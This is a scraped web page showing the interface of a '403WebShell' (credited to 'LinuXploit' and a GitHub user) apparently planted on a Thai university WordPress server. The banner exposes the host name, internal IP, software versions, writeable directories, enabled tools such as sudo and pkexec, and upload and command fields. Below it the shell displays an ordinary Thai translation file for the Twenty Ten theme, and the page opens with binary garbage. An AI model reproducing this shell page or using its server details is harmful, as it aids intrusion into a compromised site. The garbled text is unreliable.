h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/languages/themes/twentyten-th.po
# Translation of Themes - Twenty Ten in Thai
# This file is distributed under the same license as the Themes - Twenty Ten package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-05-01 09:09:46+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: th\n"
"Project-Id-Version: Themes - Twenty Ten\n"

#. Description of the theme
msgid "The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the \"Asides\" and \"Gallery\" categories, and has an optional one-column page template that removes the sidebar."
msgstr "theme 2010 นั้นทันสมัย ปรับแต่งได้ เรียบง่ายและน่าอ่าน -- ทำให้คุณสร้างรูปแบบของตัวเองด้วยเมนู ภาพส่วนหัวและพื้นหลังที่กำหนดเอง Twenty Ten สนับสนุนพื้นที่ widget หกจุด (สองในแถบด้านข้างสี่ในส่วนล่างเว็บ) และภาพเด่น (รูปขนาดย่อที่คลังรูปเรื่องและภาพส่วนหัวที่กำหนดเองสำหรับเรื่องและหน้า) ซึ่งรวมถึง stylesheets สำหรับการพิมพ์และตัวแก้ไขผู้ควบคุมแบบมองเห็น รูปแบบพิเศษสำหรับการเรื่องโพสในหมวดหมู่ \"นอกเหนือ\" และ \"คลังรูป\" และมีตัวเลือกเทมเพลตแบบคอลัมน์เดียวที่ไม่มีแถบด้านข้าง"

#. Theme Name of the theme
msgid "Twenty Ten"
msgstr "Twenty Ten"

#. translators: %s: The post title.
#: comments.php:40
msgid "One Response to %s"
msgstr "หนึ่งความเห็นตอบกลับที่ %s"

#: functions.php:112
msgid "White"
msgstr "สีขาว"

#: functions.php:107
msgid "Light Gray"
msgstr "สีเทาอ่อน"

#: functions.php:102
msgid "Medium Gray"
msgstr "สีเทากลาง"

#: functions.php:97
msgid "Black"
msgstr "สีดำ"

#: functions.php:92
msgid "Blue"
msgstr "สีน้ำเงิน"

#. Template Name of the theme
msgid "One column, no sidebar"
msgstr "หนึ่งคอลัมน์ ไม่มีแถบด้านข้าง"

#: tag.php:17
msgid "Tag Archives: %s"
msgstr "คลังเก็บป้ายกำกับ: %s"

#: sidebar.php:36
msgid "Meta"
msgstr "Meta"

#: sidebar.php:29
msgid "Archives"
msgstr "คลังเก็บ"

#: search.php:29
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "ขอโทษครับ แต่ไม่มีสิ่งใดตรงกับคำที่คุณใช้ค้น  โปรดลองอีกครั้งด้วยคำอื่นที่ต่างออกไป"

#: search.php:27
msgid "Nothing Found"
msgstr "ไม่พบสิ่งใด"

#: search.php:16
msgid "Search Results for: %s"
msgstr "ผลลัพท์การค้นหาสำหรับ: %s"

#: loop.php:176
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">ติดป้ายกำกับ</span> %2$s"

#: loop.php:167
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">โพสท์ใน</span> %2$s"

#: loop.php:115
msgctxt "asides category slug"
msgid "asides"
msgstr "นอกจาก"

#: loop.php:108 loop.php:131 loop.php:180
msgid "% Comments"
msgstr "% ความเห็น"

#: loop.php:108 loop.php:131 loop.php:180
msgid "1 Comment"
msgstr "1 ความเห็น"

#: loop.php:108 loop.php:131 loop.php:180
msgid "Leave a comment"
msgstr "ใส่ความเห็น"

#: loop.php:105
msgid "View posts in the Gallery category"
msgstr "ดูเรื่องในหมวดหมู่คลังรูป"

#: loop.php:102 loop.php:105
msgid "More Galleries"
msgstr "คลังรูปเพิ่มเติม"

#: loop.php:102
msgid "View Galleries"
msgstr "ดูคลังรูป"

#: loop.php:90
msgid "Permalink to %s"
msgstr "ลิงก์ถาวรไป %s"

#: loop.php:89
msgid "This gallery contains <a %1$s>%2$s photo</a>."
msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
msgstr[0] "คลังรูปนี้ประกอบด้วย <a %1$s>รูป %2$s</a>"

#: loop.php:65 loop.php:104
msgctxt "gallery category slug"
msgid "gallery"
msgstr "คลังรูป"

#: loop.php:35
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "ขอโทษด้วย  แต่ไม่มีผลลัพท์สำหรับคลังเก็บที่ต้องการ  บางทีการค้นหาจะช่วยหาเรื่องที่เกี่ยวข้องได้"

#: loop.php:26 loop.php:195
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "เรื่องที่ใหม่กว่า <span class=\"meta-nav\">&rarr;</span>"

#: loop.php:25 loop.php:194
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> เรื่องที่เก่ากว่า"

#: loop-single.php:61
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "ดูเรื่องทั้งหมดโดย %s <span class=\"meta-nav\">&rarr;</span>"

#: loop-single.php:26 loop-single.php:76
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: loop-single.php:25 loop-single.php:75
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: loop-attachment.php:155 loop.php:156 loop-page.php:36 loop-single.php:41
msgid "Pages:"
msgstr "หน้า:"

#: loop-attachment.php:75 loop-attachment.php:165 loop.php:109 loop.php:132
#: loop.php:181 loop-page.php:41 loop-single.php:70
msgid "Edit"
msgstr "แก้ไข"

#: loop-attachment.php:68
msgid "Link to full-size image"
msgstr "ลิงก์ไปยังรูปภาพขนาดใหญ่สุด"

#: loop-attachment.php:64
msgid "Full size is %s pixels"
msgstr "ขนาดใหญ่สุดคือ %s pixels"

#: loop-attachment.php:52
msgid "<span class=\"%1$s\">Published</span> %2$s"
msgstr "<span class=\"%1$s\">เผยแพร่</span> %2$s แล้ว"

#: loop-attachment.php:39
msgid "<span class=\"%1$s\">By</span> %2$s"
msgstr "<span class=\"%1$s\">โดย</span> %2$s"

#. translators: %s - title of parent post
#: loop-attachment.php:28
msgid "<span class=\"meta-nav\">&larr;</span> %s"
msgstr "<span class=\"meta-nav\">&larr;</span> %s"

#: loop-attachment.php:25
msgid "Return to %s"
msgstr "กลับไปสู่ %s"

#: header.php:111
msgid "Skip to content"
msgstr "ข้ามไปยังเนื้อหา"

#: header.php:35
msgid "Page %s"
msgstr "หน้า %s"

#: functions.php:623
msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "คั่นหน้า <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">ลิงก์ถาวร</a>"

#: functions.php:621
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "ข้อความนี้ถูกเขียนใน %1$s คั่นหน้า <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">ลิงก์ถาวร</a>"

#: functions.php:619
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "เรื่องนี้ถูกเขียนใน %1$s และติดป้ายกำกับ %2$s คั่นหน้า <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">ลิงก์ถาวร</a>"

#: loop-attachment.php:44 functions.php:602
msgid "View all posts by %s"
msgstr "ดูเรื่องทั้งหมดของ %s"

#: functions.php:591
msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s"
msgstr "<span class=\"%1$s\">เขียนบน</span> %2$s <span class=\"meta-sep\">โดย</span> %3$s"

#: functions.php:553
msgid "Fourth Footer Widget Area"
msgstr "พื้นที่ widget ที่สี่ส่วนล่างเว็บ"

#: functions.php:540
msgid "Third Footer Widget Area"
msgstr "พื้นที่ widget ที่สามส่วนล่างเว็บ"

#: functions.php:527
msgid "Second Footer Widget Area"
msgstr "พื้นที่ widget ที่สองส่วนล่างเว็บ"

#: functions.php:516 functions.php:529 functions.php:542 functions.php:555
msgid "An optional widget area for your site footer."
msgstr "พื้นที่ widget ทางเลือกสำหรับส่วนล่างเว็บไซต์ของคุณ"

#: functions.php:514
msgid "First Footer Widget Area"
msgstr "พื้นที่ widget แรกส่วนล่างเว็บ"

#: functions.php:503
msgid "An optional secondary widget area, displays below the primary widget area in your sidebar."
msgstr "พื้นที่ widget รองทางเลือก  แสดงด้านล่างพื้นที่ widget หลักในด้านข้างของคุณ"

#: functions.php:501
msgid "Secondary Widget Area"
msgstr "พื้นที่ widget รอง"

#: functions.php:490
msgid "Add widgets here to appear in your sidebar."
msgstr "เพิ่ม widget ที่นี่เพื่อให้ปรากฎไปที่ส่วนข้างของคุณ"

#: functions.php:488
msgid "Primary Widget Area"
msgstr "พื้นที่ widget หลัก"

#: functions.php:467
msgid "Pingback:"
msgstr "Pingback:"

#: functions.php:440 functions.php:467
msgid "(Edit)"
msgstr "(แก้ไข)"

#. translators: 1: date, 2: time
#: functions.php:436
msgid "%1$s at %2$s"
msgstr "%1$s ที่ %2$s"

#: functions.php:429
msgid "Your comment is awaiting moderation."
msgstr "ความเห็นของคุณกำลังรอคอยการตรวจสอบ"

#: functions.php:426
msgid "%s <span class=\"says\">says:</span>"
msgstr "%s <span class=\"says\">พูดว่า:</span>"

#: loop-attachment.php:151 loop.php:124 loop.php:152 functions.php:329
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "อ่านเพิ่มเติม <span class=\"meta-nav\">&rarr;</span>"

#. translators: header image description
#: functions.php:254
msgid "Sunset"
msgstr "พระอาทิตย์ตก"

#. translators: header image description
#: functions.php:248
msgid "Path"
msgstr "Path"

#. translators: header image description
#: functions.php:242
msgid "Inkwell"
msgstr "หยดหมึก"

#. translators: header image description
#: functions.php:236
msgid "Forest Floor"
msgstr "พื้นป่า"

#. translators: header image description
#: functions.php:230
msgid "Fern"
msgstr "ต้นเฟิร์น"

#. translators: header image description
#: functions.php:224
msgid "Concave"
msgstr "รูปโค้ง"

#. translators: header image description
#: functions.php:218
msgid "Cherry Blossoms"
msgstr "ดอกซากุระ"

#. translators: header image description
#: functions.php:212
msgid "Berries"
msgstr "ต้นเบอร์รี่"

#: functions.php:137
msgid "Primary Navigation"
msgstr "เมนูนำทางหลัก"

#: footer.php:47
msgid "Proudly powered by %s."
msgstr "ภูมิใจเสนอโดย %s"

#: footer.php:46
msgid "Semantic Personal Publishing Platform"
msgstr "แพลตฟอร์มการเผยแพร่ความหมายส่วนบุคคล"

#: comments.php:88
msgid "Comments are closed."
msgstr "ความเห็นถูกปิด"

#: comments.php:57 comments.php:77
msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
msgstr "ความเห็นที่ใหม่กว่า <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:56 comments.php:76
msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
msgstr "<span class=\"meta-nav\">&larr;</span> ความเห็นที่เก่ากว่า"

#: comments.php:46
msgid "%1$s Response to %2$s"
msgid_plural "%1$s Responses to %2$s"
msgstr[0] "%1$s ตอบกลับไปที่ %2$s"

#: comments.php:18
msgid "This post is password protected. Enter the password to view any comments."
msgstr "เรื่องนี้มีรหัสผ่านป้องกัน  ใส่รหัสผ่านเพื่อดูความเห็นใด ๆ"

#: category.php:17
msgid "Category Archives: %s"
msgstr "คลังเก็บหมวดหมู่: %s"

#: loop-single.php:57 author.php:49
msgid "About %s"
msgstr "เกี่ยวกับ %s"

#: author.php:29
msgid "Author Archives: %s"
msgstr "คลังเก็บผู้เขียน: %s"

#: archive.php:41
msgid "Blog Archives"
msgstr "คลังเก็บบล็อก"

#: archive.php:39
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:39
msgid "Yearly Archives: <span>%s</span>"
msgstr "คลังเก็บรายปี: <span>%s</span>"

#: archive.php:37
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:37
msgid "Monthly Archives: <span>%s</span>"
msgstr "คลังเก็บรายเดือน: <span>%s</span>"

#: archive.php:35
msgid "Daily Archives: <span>%s</span>"
msgstr "คลังเก็บรายวัน: <span>%s</span>"

#: 404.php:18
msgid "Apologies, but the page you requested could not be found. Perhaps searching will help."
msgstr "ขอโทษ ไม่พบหน้าที่คุณต้องการหา บางทีคำสั่งค้นหาอาจจะช่วยคุณได้"

#: loop.php:33 404.php:16
msgid "Not Found"
msgstr "ไม่พบ"

#. Author URI of the theme
#: footer.php:46
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the theme
msgid "the WordPress team"
msgstr "ทีมงานเวิร์ดเพรสไทย"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentyten/"
msgstr "https://wordpress.org/themes/twentyten/"

Youez - 2016 - github.com/yon3zu
LinuXploit